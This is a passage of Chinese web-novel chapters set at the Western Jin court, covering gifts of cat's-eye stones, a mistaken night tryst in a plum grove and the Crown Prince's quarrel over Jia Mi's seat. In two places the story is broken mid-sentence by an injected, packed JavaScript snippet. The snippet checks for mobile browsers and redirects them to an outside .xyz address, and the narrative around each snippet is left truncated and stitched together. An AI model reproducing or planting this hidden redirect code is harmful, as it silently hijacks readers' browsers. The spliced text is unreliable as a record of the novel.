司马睿对神算挚虞还是很信奉的。得到谶语后,他还特地与府里门客讨论过——江东远离中原是非,确是明哲保身的好去处。 只是一来,他的父亲司马伷曾率军伐吴,受东吴末帝降表,与江东诸士族恐有旧怨;二来,他的封地远在琅琊,无论如何也与江南打不着边。 诸侯要么在京,要么就藩,要么用兵外地,他想离开京洛或者琅琊,跑到江东去,尚缺一个合适的契机。 谶语是司马毗央着裴妍求到的,司马睿对二人自然要有所表示。 司马毗好说,可裴妍毕竟是小女郎,他又不想把自己的事让大人们知晓,只好偷偷表示感谢。 这不,白日里人多,没法与她叙话,便在晚间特意送了礼物来。 裴妍兴致勃勃地把人请进来,来送东西的是个身材丰满、高鼻深目的胡姬,年约十六七岁,自称荀氏。 荀氏对裴妍行福礼,笑道:“大王前些日子自胡商手里得了些稀罕物,特让婢子送来与元娘把玩。” 裴妍接过盒子打开,原来是一匣子猫儿石,金色绿色都有,各个有龙眼那么大。 裴妍立时想起张茂送给她的猫儿石方胜盒来。 只是司马睿送的猫儿石显然品相要远超张茂盒子上的,也更值钱。 裴妍大方地收下了——她为了给琅琊王卜命,送给挚虞的那两只汉代玉鸽也很贵呢! 荀氏退下后,裴妍拈起一枚金色的石头,放在灯下把玩了好半晌。 那石头果然与猫儿的眼睛似的,随着灯火眨巴着明灭不定。 她想,阿茂哥帮她找到耳珰,她却拿走了他的宝贝盒子,怎么说都算欠他个人情。何况人家还救了自家哥哥,这份恩情虽说轮不到她来还,但她怎么地也得有所表示吧! 裴妍想了想,从自己的妆奁匣子里拿出一枚赤金帽的小匕首,把猫儿石放到帽子上比了比,唔,给阿茂哥嵌在宝剑上应当正好! 另一厢,张茂正冷着脸站在裴憬房里,指挥下人往外抬水。 原来,裴憬房中沐汤用的止流阀坏了,汤泉堵不住,汩汩不止地温泉水都快把裴憬的房间给淹了。 来别庄前,驸马裴该曾吩咐管事把每个房间都检查过,没有问题才入住的。 裴憬前两天还曾泡过汤,那时并没有问题,怎么今天就坏了呢! 张茂立刻派人告知驸马,让驸马派人询问其他郎君的房间情况,但愿只裴憬这一处遭灾吧!不然这回裴家可丢人丢大发了。 还好,下人回禀说其他郎君的房里都没问题,裴该也已吩咐人另外收拾新的房间给裴憬住。 张茂这才松口气。回头就看见披着外衣可怜巴巴地站在床边上的裴憬,这才想起,刚才地面全是水,他自己撸了裤腿,站在水里指挥下人清理房间。 外面天寒地冻,裴憬不好出去,张茂干脆让他站到矮床上等着。新的房间收拾出来还需要一阵子,张茂叹气,对裴憬道:“阿兄不嫌弃,先去我那里小憩会吧!” 他的房间就在裴憬隔壁,也有入户的温泉,只是规制小一些罢了。 裴憬连声道好,他早就受够这个湿漉漉的房间了! 张茂将裴憬送到自己的屋子,又命裴憬的贴身小厮长河守好门户,就带人去查看新房间的布置情况了。 裴憬体弱,今天从早忙到晚,确实乏了,干脆在张茂的榻上和衣而睡。 朦胧间,他听到敲门声,便揉着眼睛坐了起来。 守门的长河打开门,来者是一个俏生生的红衣婢子。那小婢给长河递上一张香气扑鼻的绢帛,道:“我家女郎请郎君梅林一叙。” “这……” 什么?长河不敢置信地转头看向裴憬,既是园中女郎,那必然是白日里跟着来的贵女之一,居然有贵女约他家郎君? 因裴憬一直在小憩,内室黑黢黢的,并未掌灯。 那小婢朝里看了一眼,隐约瞧见个人形,想来就是女郎说的那位了,不由大着胆子对内室道:“我家女郎诚意相邀,请郎君万勿推辞。” 裴憬本睡得迷迷糊糊的,还以为自己在做梦。没想这婢女大声邀约,裴憬这下全然醒了! 他一下子激动起来,居然有女郎邀他赏梅!这是十七年里从未有过的事! 小郭氏待他颇为严格,他房里用的都是小厮和上了年纪的仆妇,不允许年轻婢子靠近。前车之鉴,小郭氏怕他跟他爹似的,还没成亲,先搞出个庶长子出来,他的婚事就更难了。 然而裴憬虽不敏,到底是血气方刚的年纪,知好色而慕少艾,乃人之本性。这种事不需旁人点拨,也不分贤愚,到了年纪自会有些想头。君不见痴傻如天子,都生出一堆儿女来么? 裴憬不掩兴奋地道:“女郎稍待,某这就来。” 言罢,赶紧从榻上跳将起来,命长河给他更衣整冠。 裴憬痴愚,不会想那么多。 长河却是精明的,他有些迟疑,这婢子谁家的?她家女郎是谁?怎敢大晚上来敲郎君的门?这不是私相授受、暗通款曲么! 他想找张茂拿主意,奈何裴憬催得紧。他只好一边替裴憬整理外裳,一边委婉地问他:“郎君要不要问过张郎君再行事?” 裴憬两眼瞪得如同暗夜里的星子,高声道:“问他干嘛!阿茂已经很忙了!” 长河无语,正待再劝,裴憬已经不耐烦地推开他,抄起门口的大髦,乐颠颠地跟着那婢子走了。 长河心内焦灼,又不放心裴憬独自前去,两脚一跺,无奈地跟在了自家主人后面。 月上中天,柔亮的光晕洒在红白相间的梅林里。北风凛冽,吹得梅树枝叶摇荡。地上寒霜遍地,好似下了一场大雪。 就在白日设宴的花厅前,韩芷拢着及地狐裘,头戴貂帽,手握裹了毡布的小铜炉,立于寒风中,瑟瑟发抖。 此等夜色,美则美矣,然而实在太冷了!她有些后悔,早知道就不大晚上喊人出来了。 “女郎,” 她听得自家婢子远远地唤自己,语带轻快。 韩芷转头,远远就见一个郎君裹着大髦,朝自己疾步行来。 她暗暗松了口气——张茂此前一直冷着脸,她本还担心他不来。 韩芷突然自得起来,她就知道张茂对她不是全无感觉的。她本就长得貌美,今日又在筵席上展示了最拿手的歌舞。佳人若此,试问哪个郎君舍得拒绝? 然而,待那个郎君走近后,她却越来越觉得不对劲。 张茂个头在同龄人里算高的,但到底没有完全长成,还是少年人的身量,而来的这位,明显已经是青年的身高体量了。 待来人站到她面前,放下头上的毡帽,韩芷大吃一惊,两手死死捂住嘴,直觉见了鬼了——怎么会是他! 裴憬老远就认出了韩芷。他只觉心里小鹿乱撞,走路越发带风。 以前他就觉得这个表妹长得好看,几次想找机会与她说话亲近,她都不搭理自己,没想到今天居然会特地派人来邀请他赏梅。 他几步走到韩芷身前,未及开口,就见韩芷捂着胸口,深深喘了几口气,随即两眼一翻——晕了过去。 那婢子吓得赶紧上前扶起她家女郎,裴憬也来帮忙,两个人又是掐人中,又是拍脸蛋,总算把韩芷摇醒。 可是韩芷一睁开眼,就看到裴憬那张秀丽却惨白的脸,她情愿自己再晕一次。 长河跟在后面,看到这一幕还有什么不明白的?敢情韩女郎邀约的是张郎君,只是阴错阳差,婢子搞错了人而已! 韩芷颤巍巍地指着裴憬,声音都变了:“怎么是你?” 裴憬一脸懵:“不是我是谁?不是表妹叫得我么?” 韩芷可没有什么好脾气,我什么时候找你了?我要的是张茂!张茂!她正欲开骂。 长河眼珠一转,躬身上前,向韩芷告罪道:“女郎,张郎君有差事在身,怕女郎久等,这才请我家郎君前来告知一声。” 这话漏洞百出,张茂是裴憬的清客,哪有仆从支使主家的道理?但是听在韩芷耳里,却不下于救命的稻草。她自欺欺人道,原来,张茂有事来不了啊,又担心自己受冻,这才特地请了裴大表哥来陈情。真是难为他了! 她态度瞬间好转,面对尚搞不清楚状况的裴憬,语气也好了很多,柔声道:“天寒霜重,有劳裴大表哥特意跑一趟。阿芷这就告退。” 言罢,韩芷不顾裴憬“哎……哎……”地挽留,带着丫鬟,逃也似的跑了。留下裴憬一人站在红梅白霜中,对着瑟瑟北风,兀自纳闷。 长河不忍心点破,他之所以编出那个拙劣的借口,一方面是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴妍才九岁,对男女之事尚自懵懂。但张茂却已经十四了。这个年纪,在二十而冠的汉人郎君里算半大小子,但在凉州,受胡人影响,民风盛行早婚,他已经可以娶亲了。即便是以晚婚著称的中原士族,也有不少早婚的,比如裴该,在十五岁上就奉旨尚了始平公主。下月,他的大哥张寔就要迎亲了。等大哥娶了阿嫂,他阿耶大概会做主为他相看媳妇儿。他虽不知道他阿耶会给他找哪家的女郎,但张家门第在这,总不会是河东裴氏、琅琊王氏这等权贵人家。他也无意学那韩寿攀龙附凤。而韩芷的事情再次提醒了他,即便他无意,不代表那些女郎无心。裴府往来女眷皆是高门贵女,不管他与谁传出丑闻,都没人会信他的清白。他可以想象,一旦韩芷约他梅林相会的事传了出去,世人定会像品评韩寿那样来评价他,以为他也是那等卖身求荣、厚颜入赘之辈。这是他不愿意看到的。张家的门风也不允许他做出这等事来! 因此,回到裴府后,张茂行事越发小心起来,连带着才九岁的裴妍也被他敬而远之起来。 裴妍不明白,好端端的,张茂怎么突然不理她了?他该不会还在心疼那个猫儿石方胜盒呢吧? 切,小气! 她想到琅琊王送自己的那一匣子猫儿石,眼珠转了转,旋即满意地笑了。 这天旬日,裴憬兄妹一早就随郭大夫人回外家省亲。 哺时前,张茂自马场跑马归来,才进门,就见拾叔抱着一个长长的剑匣等在门口,道:“方才有人送来这个,道是裴大郎前些日子特意给郎君订制的。” 张茂有点莫名其妙,裴憬送他宝剑?进得内室,张茂疑惑地打开剑匣,待看到实物,他和一旁的拾叔立时倒吸一口凉气。 拾叔惊道:“这剑……美甚!” 匣子里是一把精美绝伦的玉具剑,看颜色,当是蓝田彩玉,让人叹为观止的是这把七尺长剑的镡、璏、摽上还各嵌了一圈金光闪耀的猫儿石,每个足有龙眼那么大! 这份大礼让张茂很有些受宠若惊。他颤着手从剑首摸到剑尾。 玉具剑是君子成人后在正式场合所佩戴的装饰用具。 他如今既未行冠礼,又未入仕,自然佩不得如此贵重的剑。但宝剑赠英雄的寓意,足以让他心潮澎湃。 这时裴憬也从郭家回来了,进门就得意地问他:“阿茂,礼物收到了么?” 张茂咽下口水道:“阿兄,这剑——太贵重了,茂不敢受!” 且不谈玉具选的均是上等蓝田彩玉,就是外面嵌的一圈猫儿石,比他那方胜盒上的品相还好,价格定然不菲。 “阿兄未免靡费金宝!”张茂摇头。 裴憬不以为意:“上回马场你救我一命,区区一把玉具剑,我还嫌礼轻了呢!何况上面的猫儿石也不是我的,是阿妍给的,她说她留着没用,倒是给你镶剑正好!” 张茂抚剑的手狠狠一抖。元娘送的?裴家兄妹对宝石的价格怕是一无所知?这一把猫儿石,可抵百金,她自己留着嵌珠镶翠不好么? 张茂与裴家兄妹相处了一段日子,他深知,对裴家兄妹不用想得太复杂。裴憬说送剑是为了报恩,那就是报恩。至于裴妍,这个憨女郎,大概是看自己最近总躲着她,想讨好自己吧? 最难得是赤子心,张茂一时五味杂陈,有些好笑,又有些心酸。在这个尔虞我诈勾心斗角的世道,却有裴家兄妹这样,待人悃愊无华的痴人,真不知他该怎样回报他们,才能对得起这份璞玉浑金的真心,也不负,自己的良知。 11. 第11章 张茂收到玉具剑后,不大好意思总躲着裴妍。好在裴妍来的时候,裴憬往往也在。裴府上下被王夫人管得跟铁桶似的,没什么人说闲话,张茂这才放了心。 裴妍见目的达成,很是得意了一阵,觉得那匣子猫儿石送的值! 只是她得意没多久,张茂就回家去了——元日快到了,张茂得回去和父兄一起过年。听说前几天,他阿母也来洛京了。他阿兄在年后不久就要迎亲,家里肯定一堆事要忙。他身为兄弟,自然要帮着张罗。 裴憬也闹着要跟张茂同去,小郭氏想,元日前后停课一旬,他在家拘着也是惹人嫌,不若去张家玩一玩也好,只叮嘱裴憬早出晚归,不可在人家过夜。 好在张茂回去的同时,裴妡也被放出了宫。裴妍有妹妹一起玩,也就不稀得过问哥哥和张茂在哪了。 元日前两天,裴妃携司马毗来串门。裴妃虽是东海王府主母,可东海王几月前就番,京城的家中就她和儿子两个主人,除去人情应酬,竟和小郭氏一般,并无多少庶务。 王夫人却忙的要死,一大家子全靠她一人主事,便照例将王妃托付给小郭氏招待,自己忙去了。 裴妃和小郭氏自有一堆体己话要讲,至于世子司马毗,则有放假在家的裴崇、裴该主陪,三个年轻人都不耐烦在府里听长辈聒噪,便禀了大人,叫上裴崇的妻子崔华堂,还有裴妍、裴妡姊妹,六个人一起去了斜对门的公主府。 始平公主年龄比司马毗大三岁,按照辈分却得叫司马毗一声族叔。不过她是嫡公主,司马毗却只是帝室疏族,论品阶,司马毗仍要给始平行礼。然而大家都是年轻人,又都沾亲带故的,彼此之间就没有那么多虚礼了。 宴席上,裴崇、裴该自是和妻子一桌,裴妍、裴妡本该一桌,司马毗是主客,本该单独一桌。始平却将裴妍和司马毗放在了一起,裴妡则在自己这一桌,与自己分坐在裴该两侧。 裴该暗地里扯扯公主衣角,小声道:“还没有定呢,这么安排不好吧?” 公主回他一个欠奉的眼神:“早晚的事么,怎么,我堂叔还配不上你堂妹?” 裴该瞬间闭嘴。 其他人除了年级还小的裴妡外,都嗤笑着看向司马毗和裴妍。 裴妍年纪小,对男女之事懵懵懂懂,只觉大家好生奇怪,还没开宴就一副看好戏的样子。 她小声问旁边的司马毗:“你今天有什么节目吗?大家都看着你笑呢?” 司马毗少年心性,禁不住众人无声的打趣,脸色早已泛红。听得裴妍的问话,回瞪她一眼,无奈地想:“人家看的是我俩,可不止我一人啊!” 他比裴妍年长四岁,母亲的心思多少看出来一些,尤其裴妃从来没在儿子面前遮掩过自己的想法。只是,他阿母属意裴妍,他的祖母却不同意,他的父亲左右为难,便借口他年级尚小,将这事搁浅再议。 他的祖母娘家中落,故而一心想将自己的侄孙女许配给他。 可是他与舅公那头的亲戚并不相熟,同样是远房表妹,还是裴妍更合他心意一些。 这事毕竟还悬着,无论是东海王府还是钜鹿郡公府的当家人都未点头,不过是两家的女眷意动罢了。 见二人尴尬,在座的也知道见好就收。 正好热菜上桌,公主府的菜是陪嫁而来的宫中大厨掌勺的,很是美味,诸人的注意力立刻被眼前的佳肴吸引。 珍馔佳肴入腹,少年人再坐不住,公主命人搬上来不少时兴的玩具,一时间,七个人又分了几波,赌书投壶打双陆,玩得很是起劲。裴妍却兴致渺渺,她在府里闲着无聊,没少拉着裴憬玩这些,早过了新鲜劲。 司马毗知道裴妍喜欢稀罕物,便从袖筒里拿出一根竹子做的管子递给她。 裴妍接过来上下打量了一转,见这枚通体绿竹制成的管子似笛非萧,腰身却比笛子宽上许多,便好奇地问他这是何种乐器?为何以前从未见过? 司马毗莞尔:“这不是乐器,也发不出声音,它叫万花筒,从西边传过来的玩意,不是拿来吹的,是拿来看的。” “看的?”裴妍将信将疑,眯起一只眼看向管口,只见一朵黄白相间的菊花倒映在管子底部。她笑道:“还真有一朵花!” 司马毗不动声色,一只手扶住万花筒,另一只手从裴妍身后绕过,握住万花筒的底端,轻轻旋转起来。 裴妍只觉眼前的菊花突然动了起来,方才还匀称的花瓣迅速向中间移去,不一会又转了出来,如此循环往复,好似一朵菊花在风中不停地变换着身姿,有趣极了! 她惊呼:“它居然会动!” “这便是它的新奇之处!” 裴妍爱不释手,这玩意儿真有意思! 裴妡本是跟着公主投壶,眼见着自己水平不济,输多赢少,正觉无趣,便听姐姐在司马毗身边开心的叫着什么,又见姐姐手里握着的东西好生新奇,便舔着脸来找裴妍。 裴妍便将万花筒递给裴妡看,裴妡亦发出不可置信的惊呼。 司马毗往旁边挪了挪,留出更多的空档给她们。自己一手撑头,笑着看向这对姊妹花,与清冷若珍珠的裴妡比起来,裴妍姝色更甚,宛若未经雕琢的和氏美玉。 司马毗转了转手里的夜光杯,晶莹剔透的杯璧倒映着裴妍玉雪可爱的小脸,观之可亲。 他饮了些酒,眼中略有醉意,耳边传来裴妍童言童语地欢笑,他歪着头看着她和姊妹打闹嬉戏,心里想着,阿妍若是再大几岁,就好了! …… 晚上,裴憬从张家回来,特地给裴妍送来不少凉州的土产。 裴妍特别喜欢其中的一种类似胡饼的吃食,乍然摸起来硬邦邦的,但是烤过后分外香脆。 裴妍问起张茂的家人,裴憬挠了挠头,道:“都挺好的,马夫人还特地下厨做了些凉州菜给我,阿茂的姊夫也很有趣,他于数算一道,亦很精通呢!” 裴憬还绘声绘色地说起张家从西域带回的胡姬,说起宴席上喝的红葡萄酒,以及各类西域美食,让裴妍很是心动,后悔没能去张家见识一番。而裴憬却抱怨裴妍一行去公主家没提前跟他说一声,他还惦念着公主家的饭呢! 兄妹俩互相抱怨了很久,都很为没能去成对方的饭局而遗憾。 …… 不知不觉便到了元正,天还没亮,郭老夫人就携一家老幼,带着早就准备好的节礼,赴宫中参加朝会。 儿郎们由裴頠领着,在前朝候命。 女眷在郭老夫人的带领下,自是往皇后的长乐宫去。 裴妍和裴妡身上并无品秩,朝会上本不够格觐见皇后。但她们既是皇后的娘家亲戚,又是始平公主的婆家小姑,因此一踏入宫门,就被河东公主派人接走了。 河东公主住在长乐宫西侧的临华殿,距离皇后的椒房殿不远。贾后生有四女,除哀献皇女早夭外,弘农郡公主和始平公主都已下降,只有河东公主还养在身边。因此,贾后对这个幼女分外照顾,临华殿的规制摆设比起椒房殿来不遑多让。 裴家姊妹到的时候,殿里已经坐了不少女郎了。与裴家姊妹差不多,都是身上没有品级,却又与帝后沾亲带故的女郎。 裴妡是河东公主伴读,对临华殿非常熟悉,算是半个主家,一到殿里,就和先到的王清风一起,帮着公主招待起客人来。 如此,裴妍反而落了单。好在这里的女郎大多是她熟悉的。她旁边就坐着上回一起去温泉别庄的韩芷和王和风。 韩芷到的最早,她娘与皇后是亲姊妹,她哥又是贾家嗣子,因此每次他们家觐见帝后都是来得最早,走得最晚的。可怜她这个夜猫子也跟着遭罪,昨晚几乎没睡,现在正困着呢。她早就坐得不耐烦了,却也知道这朝会得从早坚持到晚,只好撑着应付。 身边倒是有不少想来套近乎的女郎,她敷衍几句后就失了耐性,干脆一屁股坐到清清静静的王和风旁边。 王和风年龄小,人也柔静,没那么聒噪,韩芷很满意地闭目养神。 然而当裴家姊妹来了后,韩芷却突然两眼放光,立时来了精神,主动起身把落单的裴妍拉到自己身边来坐着。一旁的王和风见状,还很给面子的往旁边挪了挪。 韩芷热情得与裴妍寒暄。 裴妍却困着,对韩芷有一答一,脑子晕乎乎的。 韩芷绕了半天家常,状似无意地问起裴憬和张茂。 裴妍道:“阿兄跟叔父还有哥哥们去了前朝,阿茂哥回了自己家,约莫下旬才能回来。” “这么久?元正前后不是只有各三日假来着?”韩芷有些失望,还以为正月聚宴能遇上他的说。元正官假不过七天啊! “听叔父说,张家年后要办喜事,故而回得晚些。” “什么!张茂要成亲了?”韩芷惊道。 “不是他,是他大哥,张家大郎。”裴妍解释。她想起什么,接着道:“表姐竟然不知道?听说,他家阿嫂与你家还是同宗呢!” 韩芷两眼瞬时发光,一下子来了兴致:“哦?有这事儿?”他哥现在是平阳贾氏的宗子,没听说族里有哪家女郎与姓张的人家联姻啊! “唔,听说是凉州贾氏?”裴妍也不确定了,她只是在阿母跟乳媪聊天时搁旁边听了两句。 他家在凉州还有分支?韩芷仔细记下了,准备回去问问他哥。 平阳贾氏家大业大,旁支庶亲众多,未必全都来往。但如果是张小郎阿嫂的娘家,若阿兄能派人出个场面帮衬一把,自己不是也能卖张家一个大人情?更重要的,这么算来,她与张小郎也算姻亲了呢!来往起来岂不是更方便?韩芷高兴地想。 这一厢姊妹闲话家常,热热闹闹。那一厢,前朝却刀光剑影,暗流涌动。 原来,司空张华作为三公之一,本当座次在前,但内侍不知受了谁的指使,把鲁国公贾谧的座席调到了张司空之前。如果贾谧有点城府,坚辞不受,反倒能成就美名。可他却看都没看,大大咧咧地直接就座了。 张司空无法,只得坐到贾谧之下。如此,张司空就与裴頠相邻,二人互相对视一眼,都有些无奈地笑笑。 座次问题,天子痴顽,没人提醒他也看不出来。张司空出身寒门,在世家面前一向谨小慎微,这种事儿他早就唾面自干了。裴頠则秉持中庸之道,除非原则问题,否则不干己事不张口,何况贾谧还是他亲戚。至于明哲保身如王戎之流,那就更不可能开口了。若无人追究,这事也就掩下了。大年夜的,天子正乐呵呵地收礼,谁也不想找事。 偏偏太子司马遹不这么想,他早就看贾谧不爽了,正愁抓不着他的错处呢!这厮自小就跟他争东争西。明明只是一介外戚,还是名不正言不顺的嗣子,居然敢处处跟他叫板。这些年,若不是皇后之母郭老夫人处处斡旋,他俩早打起来了。 说来也是奇事,太子看不惯贾后,连带着看贾谧也不顺眼,但他对贾后的母亲广城君郭槐却很尊崇。当然,这也与郭槐自小就护着他有关。 太子的生母谢氏本是屠户的女儿,因缘际会入宫为婢。因姿色俏丽,性情温婉,被先帝看中,派到还未大婚的太子、也就是今上身边,教导床帏之私。没想一来二去的,就怀上了。贾南风悍妒成性,入宫后,暗地里对曾经伺候过今上的宫人大加戕害。自知怀孕的谢氏无法,只好带着身孕躲到先帝宫里,寻求庇护。先帝就把她托给了当时的皇后杨氏照顾。于是谢氏就在杨皇后的庇护下,平安诞下麟儿,也就是如今的太子。在太子长到五六岁时,先帝才把入宫多年,依然无子的贾后叫到跟前,把太子托付给她,也算是一种变相的警告。贾后再狠绝,当着先帝的面,也只好忍气吞声地认了。 先帝在时,贾后还能装装慈母,但是先帝薨逝后,贾后立刻废杀了已经升格为太后的杨氏,又对太子及其生母谢氏百般刁难,若非广城君郭槐处处劝谏,护着太子母子,只怕如今太子也已遭毒手。 但是,太子尊敬郭槐,不代表他能放过贾谧。尤其如今贾谧犯错在前,正是机不可失,失不再来!此时不发难,更待何时? 于是,他不顾张华摇首示意,起身向天子弹劾贾谧,道:“天尊地卑,乾坤定矣;卑高以陈,贵贱位矣。今鲁国公枉顾尊卑,越位司空,是为跋扈!不敬三公,不守卑职,是为恣睢!臣请陛下责问之!” 此言一出,四周瞬间鸦雀无声,在座的臣工恨不能把耳朵捂上,大过年的也要斗,能让人过点好日子不? 今上也愣了。他指了指脸上被气得青一阵白一阵的贾谧,问一旁的黄门侍郎卯穂,疑惑道:“阿谧坐错了吗?” 卯穂只觉头疼,他若说贾谧坐错了,就是得罪贾家,若说坐对了,就是得罪东宫! 好在他能从今上还是太子时一直侍奉到现在,连贾后都对他敬重三分,靠的就是难得糊涂。 就见卯穂眯起一双绿豆大的眼睛,往贾谧的方向看了半晌后向皇帝告罪道:“老奴近些年目眩眼花,鲁国公座次如何,实看不清楚。” 皇帝一愣,卯穂看不清楚?于是他又问离他最近的亲家王戎,结果王戎也告罪年老体迈,事物模糊。于是他又问张华。 这麻烦踢了一圈,竟踢到苦主身上。裴頠都能感到身旁的张司空满脸的无奈。 张华明显不想得罪贾谧:“臣不觉鲁国公位次有异。” 太子有些不高兴地看向张华。 张华也曾任太子少傅,和裴頠一样,都曾是他的授业恩师。 贾谧脸上别提多得意了,看向太子的眼神充满挑衅,正欲落井下石怼太子两句,忽然旁边有人重重地咳了一声——原是裴頠怕他节外生枝,难得凌厉地瞪了他一眼。 对于这位出身高门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001205|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表舅,贾谧还是敬畏的,只好偃旗息鼓地缩了回去。 天子问了一大圈,见众人都支支吾吾地,就连以中正著称的裴頠,也只是道了句:“鲁国公年少袭爵,骤登高位,有失谦和,或可移位数席,以示椒房慈德。” 天子眯着眼睛逡巡了一圈臣席,上首坐着的一品王公里,贾谧确实年轻得有些突兀。就拿裴頠来说,论爵位只是郡公,贾谧却因是贾家嗣子,年纪轻轻就是国公了。一个晚辈,居然坐到长辈上首去,确乎不妥。 于是天子命贾谧移席,改坐裴頠下首——傻天子记不清官职大小,但是长幼辈分还是记得清的。 众目睽睽,贾谧自知理亏,只好捏着鼻子换了位置。 处理完贾谧,天子又转过身来,有些不高兴地责备太子:“大喜的日子,你计较这些细枝末节作甚?让你贾娘娘知道,又该怪你多事。” 太子见贾谧错的如此明显,满朝文武、宗亲故旧竟无一人敢指出,偏偏跟他交好的成都王年前被贾后打发去了邺城,他身边竟连一个帮腔的也没有!那个该死的贾谧,除了移席数步外,竟丝毫无损!太子心知再计较无益,只得向今上唯唯认错。 于是席上诸臣工又跟没事人似的,重又推杯换盏,歌舞升平,贺圣上寿,似乎刚才什么都没有发生过。只有贾谧表面喜笑颜开地跟同僚觥筹交错,心里却把太子恨得要死。 元正的朝会聚宴一直延续到晚上亥时。回去的路上,韩芷本应与广城君郭槐同乘一辆车,可她借口不敢打扰外祖母休息,硬挤上了贾谧的牛车。 贾谧在大宴上被太子坑了一把,心里正堵得慌,结果韩芷一上车就迫不及待地问他凉州贾氏的情况。 听妹妹打听这么一个八竿子打不着的人家,贾谧不耐烦道:“凉州贾家啊,一群商贾,每年都厚着脸皮硬要往我家来送节礼。” “哦?这么说,他们也算我们家远亲了?”韩芷两眼放光。 “切,他们算哪门子亲戚?他家祖上不过是贾家旁支分出去的一个外室子,到如今与我们早出五服了,关系远着呢!要不是看在他们每年送礼颇丰,我连大门都不让他们进!” 贾谧突然觉得不对劲,韩芷什么时候关心起贾家的事来了? “你问他家干嘛?”韩芷便把张茂大哥跟平凉贾家联姻的事说了。 贾谧费了好大劲,才想起来张茂是谁。他不屑地一笑:“唔,这两家倒是绝配。” 破落户配商户嘛。 韩芷对哥哥的态度很不高兴,对他道:“大母不是一直说,咱们贾家势力只在京洛嘛,那张二郎的阿耶是征西军司,据说当年在凉州,跟着扶风武王打过不少硬仗。虽说现在赋闲在家,可他在征西军里的故旧不少啊!也许哪天阿兄就用上人家了呢!” 说起凉州,贾谧大大地打了个寒战,不久前他误杀成都王长史,天子一怒之下差点把他发配凉州去。还好有裴頠做和事佬,这才跟成都王达成和解。 “阿兄何不借此机会交好张家?如今茂郞的阿耶攀上裴家,想必不日便能起复了。”韩芷适时敲边鼓。 那张茂的阿耶竟曾在征西军司!贾谧沉吟了会,他虽纨绔,但多个朋友多条路的道理还是懂的,不然也不会聚起金谷园二十四友来。这些人里既有石崇这样的纨绔子弟,也不乏左思这样出身寒门、有大才的能人。 贾谧思量一番,点头道:“也可,平凉贾氏既然年后嫁女,想来家主还在京里,我派人去告知一声,就说正日子那天,给他家备些贺礼去,给新妇添妆。”这可是给平凉贾氏和安定张氏涨大脸了! 韩芷这才满意地点头。对嘛,现成的姻亲干嘛不要,谁还嫌有本事的亲戚多不成!哈哈,她们与张家,也算是姻亲了呢! 宫宴结束后,热闹的主殿恢复了静谧。 椒房殿里,宫女陈舞轻手轻脚地摘去贾后的十二花钗,拿玉篦替她梳理长发。 贾南风一手支额,歪靠着缇几,闭目养神。 帷帘外,一个俊俏的小黄门低头躬身,将方才太子的奏对一字不差地禀报给贾后。 贾谧的座次,是贾后命人特意调的。太子虽不是贾南风亲生,但早些年他对贾后还算恭顺,加上有郭槐从中斡旋,贾南风也乐得与太子母慈子孝。她自己没儿子,东宫毕竟是正统,不到万不得已,她也不想与太子闹僵。 然而,这个儿子越大越与贾后离心离德。尤其这两年贾南风掌权后,太子屡屡与她为难,加上贾南风的从兄贾模、妹妹贾午、侄子贾谧各个都与太子有过节,总在她面前说太子坏话,引得她对太子越加不满。 前不久,贾后的从兄贾模来告密,道成都王与太子在东宫有“僭越之语”。这种事,捕风捉影易,寻求实据难。不过要试探太子这样的少年,贾南风有的是办法。 这不,前几天她借机把与太子交好的成都王调去了邺城,又故意在宴上对调了贾谧与张华的座次,就是想看看,在没有外人怂恿的情况下,太子到底会怎么做。是顾念旧情,隐下这事呢,还是抓住机会,大作文章? 不料太子真选了后者,贾后失望之余,反而大大松了口气。人最怕被感情绊住手脚,太子这番绝情,她以后行事反倒少了顾虑。 小黄门禀完事,屏气凝神地站在阶下,等待皇后进一步指示。 贾南风却半晌未动。良久,她一扬广袖,招那黄门近前,懒懒地问:“听说天子最近宠幸了一个姓赵的宫人?” 小黄门冷汗直出,头埋得更低了,三九的天,汗却流了一脸。他是天子近臣,然而皇后却对天子诸事了如指掌。 他终于扛不住,颤巍巍地跪下磕头道:“娘娘恕罪!不是奴隐瞒不报,是卯阿耶他……他不让奴讲,道天子只是一时之乐,犯不着给娘娘添堵!” 贾南风听罢嘴角带笑,勾过一缕夹着白发的青丝在手中把玩,又拿发尾撩拨跪在地上的小黄门,轻快道:“怕什么?本宫母仪天下,还容不下一个宫女?” 随即脸色一肃,命身后的陈舞拟旨,册封那赵氏为充华。 陈舞小声提醒她:“娘娘,充华乃九嫔,此女初初进宫就得高位……” 贾南风一个眼风扫过去,这下轮到陈舞发抖了,只好乖乖闭嘴,研墨拟旨。 那小黄门却更加惶惶了。谁不知道贾后悍妒成性,但凡受宠的、有孕的宫人最后都被贾后想方设法地给害了。否则天子也不至于人到中年只得太子一个儿子。今天是吹了什么风,让这母大虫突然大度起来了? 小黄门带着一脑门的疑问捧着皇后的懿旨回了未央宫。走到半路,才发现自己的后背都被冷汗浸湿了,冷风一吹更觉料峭。 他加快步子,想着赶紧把这道烫手的旨意交给卯穗。 唉,还是卯阿耶说的对,咱们做奴材的,就得不干己事不张口,一问摇头三不知! 12. 第十二章 元日翌日,宫中就传出喜讯,道是皇后新册了一位赵氏宫人,赐居琼华殿,圣上大悦。 这本不是大事,却引得坊间议论纷纷。毕竟贾后是出了名的悍妒,天子身边除了生下太子的谢氏外,再无旁的活着的妃嫔。难道皇后突然转性了? 疑虑归疑虑,赵氏毕竟出身不高,只是一介普通的后宫,跟各家干系不大。因此,并未掀起多大的水花,大家日子还是照常过。 元日之后,张茂跟裴家又告了几日假——张大郎初八娶亲,张家正是忙的时候。 裴憬也隔三差五地往张家跑,美其名曰搭把手。 